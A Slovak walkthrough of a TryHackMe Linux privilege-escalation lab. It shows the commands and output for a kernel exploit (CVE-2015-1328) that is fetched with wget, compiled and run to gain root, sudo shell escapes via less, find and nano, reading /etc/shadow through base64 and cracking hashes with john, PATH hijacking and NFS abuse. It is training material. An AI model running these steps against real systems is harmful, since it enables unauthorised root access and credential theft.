TryHackMe - Eskalácia privilégií v Linuxe
Množstvo rôznych spôsobov eskalácie privilégií v Linuxe
Úvod
Eskalácia privilégií je pri penetračnom testovaní / hackovaní vo všeobecnosti nevyhnutnosťou, pretože je to spôsob, ako získať úplný prístup k cieľu.
Čo je Eskalácia Privilégií?
- Eskalácia privilégií je proces získania vyšších privilégií prístupu alebo povolení v systéme, ako boli pôvodne udelené.
2 Hlavné Typy Eskalácie Privilégií:
-
Vertikálna Eskalácia (Zvýšenie privilégií) – Útočník získa oprávnenia vyššej úrovne, ako napríklad prechod zo štandardného používateľského účtu na administrátora alebo prístup na úrovni root. Často sa to stáva zneužívaním softvérových zraniteľností, nesprávnou konfiguráciou alebo krádežou prihlasovacích údajov.
-
Horizontálna Eskalácia – Útočník zostáva na rovnakej úrovni privilégií, ale získa prístup k účtu alebo prostriedkom iného používateľa. Bežný používateľ môže napríklad získať prístup k súkromným údajom iného používateľa.
Enumerácia
Spustite stroj a získajte k nemu prístup cez ssh
pomocou poskytnutých prihlasovacích údajov
1
2
ssh karen@10.10.151.202
Password1
Miestnosť nás informuje o nasledujúcich základných linuxových enumeračných príkazoch
hostname
– názov cieľového počítačauname -a
- vypíše systémové informácie a ďalšie podrobnosti o jadre systému/proc/version
- zobrazí verziu jadra a detaily buildu/etc/issue
– zobrazuje identifikačný text systému (verzia OS)ps
– zoznam spustených procesovenv
– zobrazuje premenné prostrediasudo -l
– zoznam povolených príkazov sudo pre užívateľals
– zoznam súborov a adresárovid
– zobrazuje ID používateľov a skupín/etc/passwd
– obsahuje informácie o používateľskom účtehistory
– zobrazuje predtým vykonané príkazyifconfig
– zobrazuje podrobnosti sieťového rozhrania (zastarané, použiteip a
)netstat
– zobrazuje sieťové pripojenia a porty (zastarané, použitess
)find
– hľadá súbory a adresáre
Aký je názov cieľového systému?
1
2
hostname
wade7363
Odpoveď:
1
wade7363
Aká je verzia linuxového jadra cieľového systému?
1
2
uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
Odpoveď:
1
3.13.0-24-generic
Čo je to za Linux?
1
2
cat /etc/issue
Ubuntu 14.04 LTS
Odpoveď:
1
Ubuntu 14.04 LTS
Aká verzia jazyka Python je nainštalovaná v systéme?
1
2
3
4
python
Python 2.7.6 (default, Mar 22 2014, 22:59:56)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
Odpoveď:
1
2.7.6
Aká zraniteľnosť zrejme ovplyvňuje jadro cieľového systému? (Zadajte číslo CVE)
Ak chcete odpovedať na túto otázku, vyhľadajte si verziu jadra Google a pridajte CVE
Odpoveď:
1
CVE-2015-1328
Automatizované nástroje pre enumeráciu
Je dobré vedieť, aké automatizačné nástroje sú k dispozícii, osobne som použil iba LinPeas
:
LinPeas
: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEASLinEnum
: https://github.com/rebootuser/LinEnumLES (Linux Exploit Suggester)
: https://github.com/mzet-/linux-exploit-suggesterLinux Smart Enumeration
: https://github.com/diego-treitos/linux-smart-enumerationLinux Priv Checker
: https://github.com/linted/linuxprivchecker
Privilege Escalation: Kernel Exploits
OK, takže miestnosť nám v podstate hovorí, aby sme použili CVE, ktoré sme našli, naše ďalšie kroky sú:
- Stiahnuť si exploit z exploit.db
- Získať exploit do nášho stroja na obete
- Skompilovať ho a spustite
Po stiahnutí exploitu si lokálne spustíme python http server, kde je súbor, aby sme si ho mohli stiahnuť do našej mašiny obete
Útočníkov stroj
1
2
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Stroj obete (Najprv musíme prejsť do priečinka /tmp, pretože nikde inde nemáme práva na zápis)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ cd /tmp
$ wget http://10.14.99.72/37292.c
Connecting to 10.14.99.72:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/x-csrc]
Saving to: ‘37292.c’
100%[=====================================================================>] 5,119 --.-K/s in 0s
2025-03-02 10:11:16 (277 MB/s) - ‘37292.c’ saved [5119/5119]
$ uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
$ gcc 37292.c -o 37292
$ ./37292
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),1001(karen)
A získavame prvú vlajku
Eskalácia Privilégií: Sudo
Pozrime sa, čo môžeme spustiť ako sudo
1
2
3
4
5
sudo -l
User karen may run the following commands on ip-10-10-118-61:
(ALL) NOPASSWD: /usr/bin/find
(ALL) NOPASSWD: /usr/bin/less
(ALL) NOPASSWD: /usr/bin/nano
Koľko programov môže používateľ „karen“ spustiť na cieľovom systéme s právami sudo?
Odpoveď:
1
3
Aký je obsah súboru flag2.txt?
https://gtfobins.github.io/gtfobins/less/
Eskalácia Privilégií pomocou less
- Spustíme
less
ako sudo - Napíšeme
!/bin/bash
a tým sa vytvorí náš shell
1
2
3
$ sudo less /etc/profile
# id
uid=0(root) gid=0(root) groups=0(root)
Eskalácia Privilégií pomocou find
https://gtfobins.github.io/gtfobins/find/#sudo
1
2
3
sudo find . -exec /bin/sh \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
Eskalácia Privilégií pomocou nano
https://gtfobins.github.io/gtfobins/nano/#sudo
- Spustíme
nano
ako sudo - Stlačíme Ctrl + R, Ctrl + X
- Napíšeme
reset; sh 1>&0 2>&0
, enter - Máme root shell
A môžeme získať vlajku 2
Ako by ste použili Nmap na vytvorenie root shellu, ak by váš používateľ mal práva sudo na nmap?
Odpoveď:
1
sudo nmap --interactive
Aký je hash Frankovho hesla?
Keďže sme už root, poďme si len vypísať súbor shadow
Eskalácia Privilégií: SUID
Za normálnych okolností sa konfigurujú povolenia pre súbory a priečinky, ale toto sa mení s SUID (Set-user Identification) Tieto umožňujú spúšťanie súborov s právami vlastníka súboru alebo vlastníka skupiny
Ktorý používateľ zdieľa meno skvelého spisovateľa komiksov?
1
cat /etc/passwd
Aké je heslo user2?
1
base64 /etc/shadow | base64 --decode | tail
Teraz už len crackneme hash pomocou john
1
2
$ echo '$6$m6VmzKTbzCD/.I10$cKOvZZ8/rsYwHd.pE099ZRwM686p/Ep13h7pFMBCG4t7IukRqc/fXlA1gHXh9F2CbwmD4Epi1Wgh.Cl.VV1mb/' > hash.txt
john hash.txt
Aký je obsah súboru flag3.txt?
Zdá sa, že nedokážeme prečítať vlajku priamo, ale na jej prečítanie budeme musieť použiť rovnaký príkaz base64
Eskalácia Privilégií: Capabilities
Koľko binárnych súborov má nastavené možnosti?
OK, keď nás miestnosť navádza na uloženie výstupu do /dev/null
, urobíme nasledovné
1
getcap -r / 2>/dev/null
Aký ďalší binárny súbor možno použiť prostredníctvom jeho schopností?
Miestnosť nám ukazuje exploit pre binárny súbor vim
, takže druhý, ktorý možno použiť, je view
Odpoveď:
1
view
Aký je obsah súboru flag4.txt?
1
2
find / -name flag4.txt 2>/dev/null
/home/ubuntu/flag4.txt
Eskalácia Privilégií: Cron Jobs
3 hlavné body:
- Cron úlohy spúšťajú skripty v naplánovaných časoch s oprávneniami ich vlastníka
- Ak úloha cronu vlastnená rootom vykonáva skript, ktorý môžeme upraviť, môžeme si zvýšiť privilégiá
- Ak chceme zobraziť zoznam aktuálnych úloh, môžeme si pozrieť
/etc/crontab
Môžeme cat
súbor a máme úžasné vysvetlenie
Koľko používateľsky definovaných úloh cron môžete vidieť v cieľovom systéme?
Odpoveď:
1
4
Aký je obsah súboru flag5.txt?
Uložme teda náš reverzný shell skript do súboru backup.sh
a počkajme, kým sa spustí cronjob
(Nezabudnite spustiť Netcat listener na útočníkovi)
1
nano backup.sh
Ok po pár minútach som si uvedomil, že súbor sa nedá spustiť :D pridajme do súboru spustenie
1
chmod +x backup.sh
A po chvíli dostávame spojenie
Aké je Mattovo heslo?
Dobre, takže urobíme nasledovné
cat
shadow súbor- Uložíme hash z Mattovho hesla do súboru
hash2.txt
(v tomto prípade) - Crackneme hash pomocou
john
Eskalácia Privilégií: PATH
Základný princíp:
- Ak je zapisovateľný priečinok v PATH, môžeme uniesť spustiteľné súbory umiestnením škodlivého skriptu s rovnakým názvom ako bežne používaný príkaz
- Keď systém hľadá príkaz, môže namiesto toho spustiť váš skript, čo môže viesť k eskalácii privilégií
Čo je to za zvláštny priečinok, pre ktorý máte prístup na zápis?
Môžeme skontrolovať, na čo máme prístup na zápis pomocou príkazu find
1
find / -writable 2>/dev/null | tail
Po chvíli nám príkaz dáva výsledky
Odpoveď:
1
/home/murdoch
Aký je obsah súboru flag6.txt?
Ok, chvíľu mi to trvalo, ale dá sa to spraviť nasledovne:
- Zmeníme adresár na
/home/murdoch
- Napíšeme
/bin/bash
do súboruthm
, keďže ho budeme spúšťať - Zobrazíme aktuálnu cestu
$PATH
(len pre potvrdenie) - Exportujeme premennú cesty a zmeníme ju na aktuálny adresár
- Spustíme súbor
test
1
2
3
4
5
6
7
8
9
10
$ cd /home/murdoch
$ echo '/bin/bash' > thm
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ export PATH=/home/murdoch:$PATH
$ echo $PATH
/home/murdoch:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ ./test
root@ip-10-10-215-168:/home/murdoch# id
uid=0(root) gid=0(root) groups=0(root),1001(karen)
A môžeme nájsť a získať našu vlajku
Eskalácia Privilégií: NFS
Koľko pripojiteľných shares dokážete identifikovať v cieľovom systéme?
Ako prvé musíme pripojiť stroj obete k nášmu stroju útočníka
1
showmount -e 10.10.175.134
Koľko shares má povolenú možnosť „no_root_squash“?
Na stroji obete:
1
cat /etc/exports
Aký je obsah súboru flag7.txt?
Čo teda môžeme urobiť, je:
- Vytvoriť priečinok v našom adresári
/tmp
na pripojenie zdieľania NFS - Pripojiť disk
- Vytvoriť súbor skriptu na spustenie
/bin/bash
- Skompilovať ho a nastaviť mu správne povolenia
- Prepnúť na cieľový počítač a spustiť spustiteľný súbor
1
2
3
4
5
mkdir /tmp/nfscd /tmp/nfs
mount -o rw 10.10.175.134:/home/ubuntu/sharedfolder /tmp/nfs
nano shell
gcc shell.c -o shell -w
chmod +s shell
Capstone Challenge
Zdá sa, že toto je posledná výzva, takže poďme na to.
ssh do stroja a skontrolujme, či môžeme niečo spustiť ako sudo
1
2
3
4
5
6
7
8
9
10
11
12
13
ssh leonard@10.10.249.6
[leonard@ip-10-10-249-6 ~]$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for leonard:
Sorry, user leonard may not run sudo on ip-10-10-249-6.
[leonard@ip-10-10-249-6 ~]$
Bohužiaľ nie sme schopní spustiť nič ako sudo. Pokračujme teda krokmi, ktoré sme sa naučili.
Nie sú k dispozícii žiadne cronjoby Poďme skontrolovať súbory s nastaveným bitom SUID
1
find / -type f -perm -u=s 2>/dev/null
Vlajka 2
Zdá sa, že môžeme znova použiť base64!
Dobre, po niekoľkých pokusoch sme mali šťastie
Vlajka 1
Zdá sa, že flag1.txt sa nachádza niekde inde Pokúsme sa získať heslo užívateľa missy
- Získame hash zo súboru
/etc/shadow
- Crackneme ho pomocou
john
1
base64 /etc/shadow | base64 --decode | grep missy
A crackneme hash pomocou Johna
Takže môžeme sa prihlásiť ako missy
a skontrolovať dostupné súbory
1
su missy
A našli sme lokáciu a obsah flag1.txt
Nie som si istý či to malo byť vyriešené práve týmto spôsobom, keďže som vlajky získal v zlom poradí ale stále je viacero spôsobov ako sa dostať k cieľu.